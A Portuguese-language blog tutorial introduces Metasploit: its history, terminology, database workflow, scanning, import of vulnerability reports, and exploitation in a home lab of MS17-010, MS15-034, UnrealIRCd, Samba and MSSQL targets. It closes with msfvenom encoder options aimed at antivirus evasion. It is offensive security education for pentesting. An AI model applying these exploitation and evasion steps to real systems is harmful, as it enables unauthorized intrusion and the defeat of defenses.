Metasploit – Tudo que você precisa saber para iniciar seus estudos!

Um pouco de História

O Metasploit não é apenas uma ferramenta, ele é um framework completo que provê a infraestrutura necessária para automatizar rotinas e tarefas complexas. Isso permite que você se concentre em aspectos específicos do pentest.

Categorias: , , ,

Descrição

Um pouco de História

O Metasploit não é apenas uma ferramenta, ele é um framework completo que provê a infraestrutura necessária para automatizar rotinas e tarefas complexas. Isso permite que você se concentre em aspectos específicos do pentest.

O Metasploit foi originalmente desenvolvido por HD Moore enquanto ele trabalhava para uma empresa de segurança. Quando HD percebeu que ele estava perdendo a maior parte do tempo dele validando e sanitizando códigos de exploit públicos, ele começou a criar um framework flexível e sustentável para criação e desenvolvimento de exploits. Ele lançou a primeira edição do Metasploit (Perl-based) em outubro de 2003 com um total de 11 exploits.

Em abril de 2004, com a ajuda do Spoonm, HD lançou a versão 2.0 com o projeto totalmente reescrito. Essa versão incluía 19 exploits e mais de 27 tipos de payloads. Brevemente depois do lançamento dessa versão Matt Miller se juntou ao time de desenvolvimento, e como o projeto ganhou popularidade, ele recebeu total suporte da comunidade de segurança da informação e rapidamente se tornou uma ferramenta obrigatória para pentest e exploitation.

Em 2007 o Metasploit foi migrado da linguagem Perl para a linguagem Ruby e foi lançado a versão 3.0 da ferramenta. Em 2009 o Metasploit foi adquirido pela Rapid7, o que permitiu que HD montasse um time focado totalmente no desenvolvimento do Metasploit Framework. Desde essa aquisição a quantidade de atualizações ocorreram mais frequentemente do que qualquer um poderia esperar. A Rapid7 lançou duas versões da ferramenta, Express e Pro. Hoje, no ano de 2018, o Metasploit está na versão 4.x.

Terminologias

Caso esse seja seu primeiro contado com esse tema, você pode ficar sobrecarregado pela quantidade de termos, interfaces, opções, utilitários e variáveis do Metasploit. Por isso irei começar com algumas terminologias básicas para te ambientalizar no aspecto geral.

Exploit – Um exploit é o meio pelo qual um atacante tira vantagem de uma falha dentro de um sistema, aplicação ou serviço. Um atacante usa um exploit para atacar um sistema de maneira que isso resulte em um comportamento particular jamais imaginado pelo desenvolvedor. Explorações comuns incluem buffer overflow, vulnerabilidades web e erros de configuração em geral.

Payload – Um payload é o código que nós queremos que o sistema execute e que é selecionado e entregue pelo Framework. Por exemplo, um shell reverso é um payload que cria a conexão da máquina alvo para o host do atacante com o prompt de comando do Windows. Já um bind shell é um payload que faz com que a máquina alvo fique ouvindo em uma determinada porta, onde o atacante por sua vez pode se conectar. Além desses exemplos, um payload pode ser algo tão simples quanto um punhado de comandos a serem executados no sistema operacional do alvo.

Shellcode – Shellcode é um conjunto de instruções usadas como um payload quando a exploração ocorre. O shellcode é tipicamente escrito em linguagem assembly. Na maioria dos casos, um command shell ou um meterpreter shell será disponibilizado depois que uma série de instruções forem realizadas pela máquina alvo, daí o nome.

Module – Um módulo é um pequeno software que pode ser usado pelo Metasploit. Às vezes, você pode precisar usar um módulo de exploit, um componente de software que conduz o ataque. Em outras ocasiões, você pode precisar usar um módulo auxiliar para realizar ações como scanning ou enumeração de sistemas e serviços. Esses módulos são o que tornam o Metasploit tão poderoso.

Interfaces do Metasploit

O Metasploit oferece mais de uma interface ao usuário, incluindo console, linha de comando e interface gráfica. Além dessas interfaces, utilitários fornecem acesso direto a funções que são normalmente internas ao Metasploit. Esses utilitários podem ser inestimáveis para o desenvolvimento do exploit e situações que você não precisa da total flexibilidade do Framework.

MSFconsole – O msfconsole é de longe a parte mais famosa do Metasploit Framework, mas por uma boa razão. Ele é a ferramenta mais flexível, rica em recursos e melhor suportado dentro do projeto. O msfconsole fornece uma interface manual all-in-one para quase todas as opções e configurações disponíveis no Metasploit. Você pode usar o msfconsole para fazer tudo, incluindo executar exploits, carregar módulos auxiliares, fazer enumeração ou executar uma exploração em massa em uma rede inteira.

Para carregar essa interface basta digitar msfconsole no terminal, essa é uma parte de conhecimento obrigatório dentro do Framework e nós vamos utilizá-la bastante aqui. Para acessar o help do msfconsole basta digitar o comando help no terminal do msfconsole para ver as diversas opções disponíveis.

MSFcli O msfcli e o msfconsole tem abordagens bem diferentes para dar acesso ao Framework. Enquanto o msfconsole fornece uma maneira interativa de acessar todas as funcionalidades de uma maneira amigável, o msfcli dá prioridade a “compatibilidade” com outras ferramentas console-based para desenvolvimento de script. Ao invés de fornecer um único interpretador do Framework, o msfcli é executado diretamente do terminal, o que permite utilizar a saída de outras ferramentas como input para o msfcli e vice-versa. Em junho de 2015 o executável msfcli foi descontinuado (por isso o nome está riscado), mas suas funções foram incorporadas ao msfconsole utilizando o parâmetro -x:

Armitage – O armitage é um componente do Metasploit que é totalmente gráfico e interativo, ele foi criado por Raphael Mudge. Essa interface é cheia de recursos, intuitiva e gratuita. Eu não vou ficar abordando o armitage nessa série de posts do Metasploit, até porque, para poder usar o armitage de forma ampla tu precisa ter o conhecimento do Metasploit como um todo. Particularmente eu não curto usar o armitage, prefiro o msfconsole e msfcli.

Utilitários do Metasploit

Agora que você já conheceu as três interfaces do Metasploit, está na hora de conhecer alguns utilitários. Os utilitários do Metasploit são interfaces diretas a funcionalidades específicas da arquitetura do Framework que podem ser bastante úteis em algumas situações.

MSFpayload O msfpayload é um componente do Metasploit que permite gerar shellcode, executáveis e mais algumas coisas para serem usadas em explorações fora do Framework. O shellcode pode ser gerado em diversas linguagens, incluindo C, Ruby, JavaScript, Python, PHP, Visual Basic e muitas outros.

MSFencode O shellcode gerado pelo msfpayload é totalmente funcional, porém ele contém caracteres nulos que podem ser interpretados por alguns programas como o final da string e isso pode causar uma interrupção inesperada do código. Em outras palavras os x00s e xffs podem dar pau no seu payload. Além disso, quando esse shellcode passa pela rede em texto claro, ele é facilmente detectado pelos sistemas de IDS e software antivírus. Para tentar resolver esse problema o Metasploit desenvolveu o msfencode, que nos ajudar a bypassar os antivírus e os IDS da vida.

O Metasploit possui uma série de diferentes encoders para diversas situações, algumas irão ser útil quando você utilizar somente caracteres alfanuméricos, enquanto em outras situações encoders genéricos serão de grande ajuda. Mas caso você fique na dúvida, um encoder que tem um alto índice de qualidade e estabilidade é o shikata_ga_nai, nos iremos ver mais sobre ele e outros encoders mais pra frente.

MSFvenom – Você deve estar se perguntando por que os utilitários citados acima estão riscados, é bem simples, eles não existem mais????! Mas porque eu expliquei o que eram eles? Por que eles foram fundidos por questões de usabilidade para a criação do msfvenom ????! Essa mudança ocorreu no início de junho de 2015. Tudo o que era feito usando dois utilitários agora é feito em um só ???? 

Arquitetura

O Metasploit usa diferentes bibliotecas que detêm a chave para o bom funcionamento do framework. Essas bibliotecas são uma coleção de tarefas, operações e funções predefinidas que podem ser utilizadas por diferentes módulos da estrutura. A parte mais fundamental do framework é a biblioteca Ruby Extension (Rex). Alguns dos componentes fornecidos pelo Rex incluem um subsistema wrapper socket, implementações de protocolo cliente/servidor, um subsistema de logging, classes de utilitários de exploração e várias outras classes úteis. O próprio Rex foi projetado para não ter dependências, a não ser as que vem com a instalação padrão do Ruby.

Em seguida temos o MSF Core, o Core é responsável por implementar todas as interfaces necessárias que permitem interagir com módulos de exploração, sessões e plugins. Essa biblioteca principal é estendida pela biblioteca de base do framework que é projetada para fornecer rotinas de wrapper mais simples para lidar com o núcleo do framework, além de fornecer classes utilitárias para lidar com diferentes aspectos do framework, como serializar um estado de um módulo para diferentes formatos de saída. Na sequência temos a interface de usuário da estrutura que implementa suporte para os diferentes tipos de interfaces de usuário, como o console e a interface web por exemplo. Por último temos os módulos, sendo eles:

Exploits – É o módulo que executa a sequência de comandos tendo como alvo uma vulnerabilidade específica encontrada em um sistema ou aplicação. Esse módulo fornece acesso ao sistema alvo após a exploração. Exemplos desse módulo são buffer overflow, code injection e web application exploits.

Payload – Esse módulo é responsável por selecionar e configurar o shellcode que será executado após a exploração da vulnerabilidade. Ele também permite definir como se conectar a shell e o que você deseja fazer no sistema depois de ter controle sobre ele. (Ex. Meterpreter).

Encoders – É o módulo responsável por fazer o encoding do código que será executado remotamente (payload) de modo que os sistemas de detecção de intrusão e/ou antivírus não o detecte.

Nops – Esse módulo mantêm o tamanho do payload consistente. Ele produz uma série de bytes randômicos que você pode usar para fazer o bypass de IDS e IPS.

Auxiliary – Esse módulo não executa um payload. Ele pode ser usado para realizar ações diversas que podem não estar diretamente ligadas a exploração. Exemplos de módulos auxiliares incluem scanners, fuzzers e ataques de DoS.

Trabalhando com Database

Durante um pentest nós temos que lidar com dezenas ou até centenas de hosts, cada um com seu sistema operacional, seus serviços, portas e versões. Por isso é importante se manter um registro de todas essas informações que vamos obtendo durante o pentest. Para nos ajudar nessa tarefa o Metasploit trabalha em conjundo com diversos bancos de dados, no caso do Kali o padrão é o PostgreeSQL, por isso será ele que iremos abordar aqui. Antes de mais nada precisamos iniciar o banco:

# systemctl start postgresql

Depois nós precisamos criar e inicializar o banco, como nos estamos utilizando o Kali esse processo é ridicularmente simples, basta utilizar o comando abaixo para concluir essa tarefa:

# msfdb init

Creating database user 'msf'
Enter password for new role: 
Enter it again: 
Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-framework/config/database.yml
Creating initial database schema

Depois nos precisamos checar se o Metasploit conseguiu se conectar com o banco corretamente, para isso acesse a interface msfconsole e execute o comando db_status, caso esteja tudo funcionando você deverá receber a mensagem abaixo:

# msfconsole
msf > db_status 
[*] postgresql connected to msf

Agora que o Metasploit já está conectado com o banco e somos capazes de salvar nossas atividades iremos começar a organizar as Workspace, essa funcionalidade nos dá a capacidade de salvar nossos trabalhos de forma organizada. Imagine que uma workspace é uma pasta, assim podemos criar diferentes pastas para atividades específicas. O comando “workspace” serve para mostrar as workspaces existentes, se você rodar o comando só existirá uma instância:

msf > workspace
* default

Para criar novas workspaces basta utilizar o parâmetro -a do comando como é mostrado abaixo:

msf > workspace -a guiadoti
[*] Added workspace: guiadoti

Para mudar de workspace basta rodar o comando “workspace” seguido no nome da instância desejada, como é mostrado abaixo:

msf > workspace irlanda
[*] Workspace: irlanda
msf > workspace
 default
* irlanda
 guiadoti
 brasil

Para ver todos os parâmetros disponíveis do comando basta executar:

msf > workspace -h
Nmap vs Metasploit

Agora que nós já aprendemos o que são as workspaces, precisamos adicionar as informações necessárias, ou seja, popular a base. Nos temos algumas maneiras de fazer isso, uma delas é importando os resultados dos scans feito com Nmap por exemplo. O Nmap permite exportar os resultados em formato XML, e é justamente esse formato que nós iremos utilizar. Para exportar a saída de um scan em xml basta utilizar o parâmetro -oX como é mostrado abaixo:

# nmap -sS -sV 10.0.0.0/24 -oX subnet_10.0.0.0_24

Pessoal eu não vou ficar me aprofundando no Nmap nesse post pois não é o foco, mas caso queira aprender mais basta acessar o manual da ferramenta no site oficial. Eu ainda pretendo fazer uma série de posts sobre o Nmap aqui no site ????

Depois de gerar o arquivo xml temos que importá-lo para o Metasploit, nós fazemos isso através do comando “db_import”. Depois de importar o arquivo podemos analisar o resultado com os comandos “hosts” e “services”.

msf > db_import subnet_10.0.0.0_24
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.8.1'
[*] Importing host 10.0.0.30
[*] Importing host 10.0.0.55
[*] Importing host 10.0.0.85
[*] Importing host 10.0.0.99
[*] Successfully imported /root/subnet_10.0.0.0_24

Outra maneira de popular a base é fazendo o scan diretamento do msfconsole através do comando “db_nmap”, assim o resultado do scan é salvo automaticamente na base. O comando funciona da mesma maneira que o Nmap através da linha de comando, você não perde nada fazendo isso, pelo contrário, só ganha tempo ????


Dentro da área de TI o backup é um item de extrema importancia, e para o trabalho de um pentester não é diferente, é muito importante fazer o backup dos dados. O Metasploit permite que façamos o backup de todos os dados de maneira simples e rápida exportando tudo em um arquivo xml através do comando “db_export”.

msf > db_export -f xml /root/guiadoti/pentest_XPTO.xml
[*] Starting export of workspace msfu to /root/guiadoti/pentest_XPTO.xml [ xml ]...
[*] >> Starting export of report
[*] >> Starting export of hosts
[*] >> Starting export of events
[*] >> Starting export of services
[*] >> Starting export of credentials
[*] >> Starting export of web sites
[*] >> Starting export of web pages
[*] >> Starting export of web forms
[*] >> Starting export of web vulns
[*] >> Finished export of report
[*] Finished export of workspace msfu to /root/guiadoti/pentest_XPTO.xml [ xml ]...

Muitos comandos são disponibilizados para realizar uma busca por uma informação específica armazenada no nosso banco de dados como nomes de hosts, endereços IP e MAC, serviços descobertos e etc. Nós podemos até utilizar esses dados como input nas configurações dos módulos de exploits, como é o caso do campo RHOSTS por exemplo. O comando “hosts” é mais utilizado para checar os dados presentes na nossa base, porém ele tem uma série de parâmetros que podem ser utilizados em conjunto. Eu vou citar somente alguns exemplos aqui, mas você pode checar a lista de opções disponíveis utilizando o parâmetro “-h”. Para limitar a quantidade de informações exibidas de acordo com as colunas desejadas, devemos utilizar a opção “-c”:

msf > hosts -c address,os_name, os_flavor

A opção “-S” faz uma busca pelas strings desejadas:

msf > hosts -c address,os_name,os_flavor -S Windows

Uma outra maneira de manipular os dados da base é através do comando “services” que também vimos um exemplo a pouco. Assim como o comando “hosts” ele vai exibir os dados da nossa base, a diferença é que ele é exclusivo para os dados de serviços dos hosts. O comando “services” também conta com uma série de parâmetros que podem ser utilizados, assim como o “hosts”, a maioria dessas opções são semelhantes. Para acessar a lista das opções disponíveis utilize o parâmetro “-h”. Caso você deseje filtrar o resultado por serviço, você deve utilizar a opção “-s”:

Caso você deseje usar a saída do comando como input para algum módulo de exploit basta utilizar o parâmetro “-R”. No exemplo abaixo irei utilizar o módulo de SMB Scanning, esse módulo serve para verificar a versão do sistema operacional, nome do host e outras informações.

O último comando de manipulação dos dados que quero mostrar pra vocês é o “creds”,  ele é usado para gerenciar as credenciais encontradas e utilizadas durante nossas atividades, se você rodar o comando sem nenhum parâmetro você irá ver todas as credenciais já encontradas:


Caso você obtenha alguma credencial utilizando uma outra ferramenta ou de qualquer outro modo você pode adicionar a credencial manualmente, abaixo é mostrado um exemplo:

msf > creds -a 10.0.0.55 -p 445 -u Administrator -P 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
Scanning com Metasploit

Além da possibilidade de usar scan de terceiros, o Metasploit também oferece alguns scans que podem ser utilizados. Vou utilizar como exemplo aqui o syn scan do Metasploit, mas caso você queira dar uma olhada nos outros scans é só rodar o comando abaixo:

msf > search portscan

Na imagem acima podemos ver que as portas 135, 139 e 445 do host 10.0.0.202 estão abertas, em seguida poderíamos utilizar o módulo smb_version para obter mais informações como foi feito anteriormente.

MS SQL

O primeiro serviço que vamos fazer o footprint é o SQL, hoje em dia é praticamente impossível não achar ao menos uma intância SQL em uma rede durante um pentest. Em muitas ocasiões os adminsitradores da rede nem sabem que existe um serviço SQL rodando em um servidor da rede, muitas das vezes algum usuário instalou por ser pré requisito de algum outro software e isso acaba abrindo uma brecha.

Quando um MS_SQL é instalado ele usa por padrão a porta TCP 1433, durante a execução dos nossos scans anteriormente nos identificamos uma instância SQL. Agora nos iremos utilizar o módulo mssql_ping para coletar mais informações sobre esse serviço:

Nós podemos ainda tentar um brute force com credenciais padrão para tentar ter acesso a base, nos podemos utizar o módulo mssql_login para nos auxiliar nessa tarefa:

Uma vez que sabemos a senha podemos tentar executar comandos através do serviço do MSSQL caso ele tenha a permissão necessária pra isso, é mais um exemplo de vulnerabilidade de misconfiguration. O módulo mssql_exec irá nos auxiliar com essa tarefa. No exemplo aqui eu irei criar um novo usuário e adicioná-lo nos grupos necessários, depois de executar os comandos basta logar com o usuário criado através do utilitário remote desktop:

SNMP

Outro protocolo que é muito importante na fase de coleta de informação é o SNMP (Simple Network Management Protocol). O SNMP é tipicamente usado em dispositivos de rede para reportar informações como consumo de banda, recursos, estatísticas e etc. No entanto, alguns sistemas operacionais possuem o serviço de SNMP para gerenciamento remoto de CPU, memória, processos e etc. Toda essa conveniencia dos administradores pode se tornar uma mina de ouro para o atacante. Na maioria das vezes conseguimos informações importantes e em alguns casos conseguimos até comprometer o dispositivo.

Por exemplo, caso se obtenha uma community read/write em um roteador Cisco, você pode fazer o download de todas as configurações, alterar e fazer o upload de volta. No caso de sistemas Windows configurados com o protocolo SNMP, frequentemente se obtêm informações de patchs, serviços, nomes de usuários, processos, compartilhamentos e muito mais.

O primeiro passo quando se encontra um serviço SNMP é descobrir sua community, essa informação é uma espécie de senha utilizada pelo protocolo. Depois de descobrir essa informação podemos partir para o processo de enumerção de todas as informações que o protocolo pode nos fornecer. As versões 1 e 2 do protocolo SNMP são vulneráveis, o SNMP v3 trás uma série de melhorias além de passar a ser criptografado. Para tentar descobrir a community que está sendo utilizada iremos utilizar o módulo snmp_login:

Agora que descobrimos a community do nosso alvo é “system” com o nível de acesso read/write iremos utilizar o módulo snmp_enum para listar todas as informações disponíveis:

Vulnerability Scanning

Um scanner de vulnerabilidades é um software que, dado um determinado alvo, seja ele um software, um computador ou um dispositivo de rede, irá analisá-lo em busca de vulnerabilidades existentes. O scanner irá testar o alvo em busca de pontos vulneráveis a ataques (senhas padrão, serviços, sistemas vulneráveis a falhas conhecidas, por exemplo).

Semelhante a outros testes de segurança, como a varredura de porta e sniffing, o scanner de vulnerabilidades também ajuda você a proteger a rede, determinando as brechas ou vulnerabilidades no seu mecanismo de segurança atual. Este mesmo conceito pode também ser utilizado por invasores, a fim de identificar as vulnerabilidades no alvo.

Nessus – O nessus é um scanner de vulnerabilidades que procura por falhas nos softwares, sistemas e redes. As vulnerabilidades identificadas são exibidas para o usuário em vários níveis de detalhes. Cada teste realizado pela ferramenta é feito utilizando um plugin separado, dessa maneira o usuário pode facilmente personalisar um scan criando um template onde ele informa qual plugin ou grupo de plugins serão executados durante o scan. O nessus é dividido em duas partes. Um servidor, no qual realizar o ataque e o cliente, que é o front end. O servidor e o cliente podem ser executados em diferentes sistemas.

Nexpose – Assim como o Nessus o Nexpose é um excelente scanner de vulnerabilidades, ele é uma ferramenta da empresa Rapid7 assim como o Metasploit, ou seja, eles fazem um par perfeito. A versão Pro do Metasploit conta com uma série de formas para se trabalhar com o Nexpose, ele fornece um conector que permite que você adicione um console do Nexpose no painel do Metasploit, assim você pode executar scans diretamente da interface web. Pessoalmente falando, eu prefiro o Nexpose do que o Nessus.

Laboratório

O laboratório que estou utilizando é extremamente simples, eu preparei duas máquinas bem zuadas pra serem nossos alvos, uma é um Windows Server 2012 R2 e a outra é um Windows 7, ambas desatualizadas (Vocês vão notar pelos relatórios de vulnerabilidade, rsrs)

Importing Nessus

Como eu citei no início do post eu não vou ficar explicando como fazer o scan ou como exportar relatórios. Então, levando em consideração que você já realizou o scan, basta exportar o relatório no formato “.nessus”. Depois disso abra o msfconsole e importe o relatório exportado usando o “db_import” (da mesma forma que usamos para importar os relatórios do Nmap). Confira na imagem abaixo a importação do arquivo:

Uma vez que o relatório é importado para o banco de dados nos podemos visualizar os hosts e seus determinados serviços utilizando os comandos que já vimos no post anterior (“hosts” e “services”). Nas imagens abaixo podemos ver a saída desses comandos:

Porém, hoje iremos passar a usar um outro comando, o “vulns”. Esse comando irá listar todas as vulnerabilidades que foram reportadas no relatório do Nessus que importamos. Assim como os comandos “hosts” e “services”, o “vulns” conta com uma série de parâmetros que podem ser utilizados de acordo com nossa necessidade.  Na imagem abaixo podemos ver parte da lista de vulnerabilidades existentes na base:

Como a lista é enorme e bem difícil de ficar procurando algo, a melhor opção é usar o parâmetro -S para buscar por uma string específica. No caso abaixo estamos buscando pela string “MS1” e utilizei o parâmetro -i para dar mais informação sobre a vulnerabildiade que for encontrada:


No exemplo acima podemos ver que uma das vulnerabilidades do host 10.0.0.7 é a vulnerabilidade MS17-010, essa é uma vulnerabilidade largamente conhecida (se você não conhece, pare agora de ler esse artigo e se informe sobre ela) que permite a execução de código remotamente e existe um módulo no metasploit pra ela. Basta fazer uma busca no msfconsole para encontrar o módulo:

O módulo que iremos utilizar é o smb_ms17_010. Nesse módulo a única informação que precisamos inserir é o rhost, o payload configurado por padrão é o cmd_shell, como eu prefiro o meterpreter eu alterei. Depois disso basta executar o módulo:

Importing Nexpose

No caso do Nexpose o relatório deve ser exportado no formato “Nexpose Simple XML”, uma vez que você exporte o relatório todos os passos seguintes são exatamente como no caso anterior, eu não vou repetir as etapas para não deixar esse post maior do que ele já vai ficar ????


Metasploit Community

Uma coisa que podemos notar é que a tarefa de ficar pesquisando as vulnerabilidades importadas não é tão intuitiva assim, ainda mais quando a quantidade de vulnerabilidades é muito alta, em um pentest real não iremos ter somente duas máquinas como aqui. Por isso que iremos usar uma outra versão do Metasploit para nos ajudar nessa tarefa, a versão Community do Metasploit. Essa versão conta com algumas features adicionais, mas a que eu mais gosto é justamente a parte de importação de relatórios de scanners de vulnerabilidade. O MSF Community faz o parsing das vulnerabilidades e nos fala quais são os módulos que podemos utilizar para cada vulnerabilidade de forma 100% intuitiva.

Para poder usar essa versão você precisa se cadastrar no site da Rapid7 para obter a licença trial de 1 ano, vale lembrar que domínios de emails públicos como gmail, hotmail, yahoo, entre outros não são aceitos, mas nada que uma conta de email temporária da vida não resolva ???? Depois de obter a licença baixe e instale o Metasploit:

# wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
# chmod +x desktop/metasploit-latest-linux-x64-installer.run
# ./metasploit-latest-linux-x64-installer.run

Depois disso basta seguir o wizard para concluir a instalação. Uma vez que a instalação esteja concluída acesse o endereço https://<server address>:3790 para criar seu usuário. Depois de logar você verá essa tela:

Para continuar basta criar um novo projeto, depois de criar clique no botão “import…” e selecione o relatório de vulnerabilidade que foi exportado, quando a importação for concluída clique no menu “Analysis”, você verá a lista dos hosts existentes, no nosso caso só existem dois hosts:

Quando você clicar em algum host você verá uma série de menus, mas o mais importante deles no nosso caso é o menu “modules”, esse menu irá nos dar a lista de todos os módulos existentes que iremos poder utilizar contra nosso alvo, confira na imagem abaixo:

Isso é uma funcionalidade sensacional que essa versão do Metasploit nos oferece. Agora basta abrir o msfconsole e colocar a mão na massa. Esse processo nos poupa muito tempo analisando os relatórios e procurando pelos módulos corretos.

O Metasploit Framework contém centenas de módulos e é quase impossível lembrar de todos eles. Você pode executar o comando “show” a partir do msfconsole para exibir todos os módulos disponíveis no Framework, mas você também tem a opção de restringir sua pesquisa exibindo apenas tipos específicos de módulos.

msf> show exploits
No msfconsole, as explorações visam explorar as vulnerabilidades que você descobriu durante o pentest. No entando novos exploits sempre são desenvolvidos e a lista sempre irá crescer. O comando “show exploits” exibe todos os exploits disponíveis no Framework.

msf> show auxiliary
Módulos auxiliares no Metasploit podem ser usados para uma ampla gama de propósitos. Eles podem operar como scanners, módulos de DoS, fuzzers e muito mais. Este comando irá exibir e listar de todos os módulos auxiliares existentes no Framework.

msf> show payloads
Quando você executa o comando “show payloads” depois que um módulo é selecionado, o Metasploit exibirá apenas os payloads compatíveis com aquele módulo específico. Quando você executa o comando “show payloads” sem nenhum módulo carregado, o Metasploit irá exibir a lista de todos os payloads existentes no Framework.

msf> info
Quando a descrição resumida de um módulo fornecida pelos comandos “show” e “search” não for suficiente, use o comando “info” seguido do nome do módulo para exibir todas as informações, opções e destinos disponíveis para esse módulo.

msf> search
O msfconsole inclui uma extensa funcionalidade de pesquisa baseada em expressão regular. Se você tiver uma ideia geral do que está procurando, poderá pesquisá-la utilizando o comando “search”.

msf> use
Quando você souber qual módulo utilizar basta usar o comando “use” para selecioná-lo. O comando use altera o contexto para o módulo selecionado, permitindo com isso interagir com as opções disponíveis.

msf> back
Uma vez que você tenha terminado de usar um módulo em particular ou se você inadvertidamente selecionou o módulo errado, você pode usar o comando “back” para sair do contexto atual. Isso, no entanto, não é necessário. Você pode usar pesquisar e selecionar outros módulos sem precisar sair do módulo atual.

msf> show options
As opções dos módulos controlam várias configurações necessárias para a sua funcionalidade adequada. Quando você executa o comando “show options” depois que um módulo é selecionado, o Metasploit exibirá apenas as opções que se aplicam a esse módulo específico. Executar o comando “show options” quando nenhum módulo estiver selecionado irá resultar na exebição das opções globais disponíveis.

msf> show targets
Os módulos geralmente listam alvos vulneráveis em potencial. Por exemplo, o módulo “ms17_010_eternalblue” tem como alvo apenas os sistemas Windows 7 e Server 2008 R2, enquanto outros módulos, como o caso do “ms08_067_netapi”, tem uma lista de dezenas de sistemas e versões. O sucesso da exploração dependerá da versão do Windows que você está atacando. Às vezes, a detecção automática não funciona e pode até mesmo provocar a exploração inadequada, o que geralmente leva a uma falha de serviço/sistema.

msf> set / unset
Todas as opções para um determinado módulo do Metasploit devem ser definidas, especialmente se marcadas como necessárias na coluna required. O comando “set” serve definir uma opção, enquanto o comando “unset” serve para remover os dados informados para uma opção específica.

msf> check
Esse comando é bem interessante pois ele verifica se um alvo é vulnerável a um determinado exploit em vez de realmente explorá-lo. Assim você pode fazer um doble check com o relatório do scanner de vulnerabilidade por exemplo.

msf > exploit
O comando “exploit” ou “run” serve para executar um módulo em particular depois que o mesmo foi devidademente selecionado e configurado.

msf> sessions
O comando “sessions” permite listar, interagir e encerrar sessões geradas. As sessões podem ser shells, sessões Meterpreter, VNC, etc. Para listar qualquer sessão ativa basta utilizar a opção “-l”. Para interagir com uma determinada sessão basta usar a opção “-i” seguida do número de identificação da sessão.

Explorando alguns alvos

Bem, agora que já aprendemos bastante coisa sobre o Metasploit (terminologias, interfaces, arquitetura, utilitários, trabalhar com banco de dados, scanners de rede e vulnerabilidade, versões do Framework e até já utilizamos alguns módulos para exemplificar explorações) iremos fazer algumas explorações. Eu vou tomar como ponto de partida aqui tudo o que nos já fizemos até agora, especialmente o relatório do scanner de vulnerabilidade que importamos, nele já existe uma série de vulnerabibilidades que podemos explorar.

A primeira delas é a vulnerabilidade MS15-034, uma vulnerabilidade que permite a execução de código remotamente e causa um DoD no sistema alvo, para saber mais sobre essa vulnerabilidade acesse o boletim de segurança da Microsoft. Como eu mostrei no post anterior, através da interface web do Metasploit Community nos já temos os módulos exatos que podemos usar, por isso não vou precisar ficar pesquisando o módulo.

Como podemos ver o host alvo é vulnerável, agora basta executar o comando “exploit” para causar um DoS no nosso alvo, a execução desse módulo irá fazer que o nosso alvo crash e reinicie. Então tenha cuidado ao explorar esse tipo de vulnerabilidade em um pentest, esse tipo de exploração sempre tem que estar previsto no escopo do contrato para não causar prejuízo para o cliente.

A próxima vulnerabilidade que iremos explorar é uma backdoor existente na versão 3.2.8.1 de um serviço IRC, para saber mais sobre a vulnerabilidade acesse a página do CVE correspondente. O módulo que iremos utilizar para explorar essa vulnerabilidade é o “unix/irc/unreal_ircd_3281_backdoor”.

Agora iremos explorar uma vulnerabilidade de execução de código remoto na versão 3.0.20 do Samba, para saber mais sobre a vulnerabilidade acesse a página do CVE correspondente. O módulo que iremos utilizar para explorar essa vulnerabilidade é o “exploit/multi/samba/usermap_script”.

Por último iremos explorar uma instância MSSQL, o módulo que iremos utilizar é o “windows/mssql/mssql_payload”, ele executa um payload arbitrário no MSSQL Server usando o procedimento “xp_cmdshell”. A senha da foi descoberta no processo de footprinting, caso você não se lembre veja ou outros posts da série.

MSFVenom

A maioria dos softwares antivírus usam assinaturas como principal meio para identificar códigos maliciosos presentes em um arquivo. Essas assinaturas são carregadas nos antivírus e usadas para scanear o disco e realizar outras análises on-demand. Quando um malware é encontrado, o antivírus executa determinadas ações, como colocar o binário em quarentena ou matar o processo em execução.

Para fugir do antivírus, podemos criar payloads personalizados que não corresponderão a nenhuma das assinaturas. Além disso, quando estamos explorando um sistema, os payloads do Metasploit são projetados para serem executados na memória e nunca para gravar dados no disco. Quando enviamos um payload como parte de um exploit, a maioria dos programas antivírus não detectam que ele foi executado no alvo. E para poder realizar essa tarefa o Metasploit conta com o utilitário “msfvenom”, eu já falei um pouquinho sobre ele no primeiro post da série, mas hoje nos vamos aprender a utilizá-lo de verdade.

Lista de plataformas

Antes de começarmos a gerar nosso payload precisamos ter em mente qual é a plataforma que o nosso alvo utiliza, o Metasploit suporta uma lista bem extensa de plataformas, como podemos ver na saída do comando “msfvenom –help-platforms” abaixo:

Lista de payloads

Assim como nos módulos de exploit do Metasploit, nos também precisamos definir o payload que iremos utilizar e configurar suas opções. Os payloads disponíveis no “msfvenom” são os mesmos do “msfconsole”. Na data em que eu estou escrevendo esse post o MSF conta com uma lista de 536 payloads como podemos ver na saída do comando “msfvenom -l payloads” abaixo:

Lista de encoders

Um dos maiores benefícios de usar o msfvenom é a possibilidade de encodar nossos payloads, essa técnica nos ajuda muito no processo de bypass dos antivírus. O MSF conta com uma lista bem grande de encoders que podemos utilizar. Porém temos que usar essa funcionalidade com cautela, se você exagerar no encoder o código pode dar crash, por isso é muito importante testar antes. Abaixo podemos ver na saída do comando “msfvenom -l encoders”.

Lista de formatos

Assim como as plataformas, payloads e encoders que o Metasploit suporta, ele também suporta uma série de formatos na hora de gerar o paylaod. Basicamente tudo o que se precisa está na lista abaixo:

Lista de parâmetros

Agora que você já conhece as plataformas, payloads, encoders e formatos suportados pelo MSFVenom, vamos conhecer suas principais opções de parâmetro. Eu não vou explicar todos os comandos existentes, mas você pode usar a opção “-h” para obter mais informações sobre os demais comandos.

--arch | -a

Define a arquitetura que será utilizada no payload, x86 ou x64.

--platform

Define a plataforma do payload, podendo ser qualquer uma da lista que vimos acima.

--payload | -p

Define o payload que será utilizado, podendo ser qualquer um da lista que vimos acima.

--encoder | -e

Define o encoder que será utilizado, podendo ser qualquer um da lista que vimos acima.

--iterations | -i

Define a quantidade de interações que o payload vai ter com o encoder.

--template | -x

Define um executável como template para o payload.

-k

Preserva o comportamento do template e injeta o payload como uma nova thread.

--format | -f

Define o formato de saída do payload, podendo ser qualquer um da lista que vimos acima.

--out | -o

Salva o payload.

--bad-chars | -b

Define os caracteres que serão evitados. Ex: ‘\xff’ e ‘\x00’

--smallest

Gera o menor payload possível.

--list | -l

Lista as opções de módulos disponíveis. Ex: payloads, encoders, nops, all.

Bypass de AV

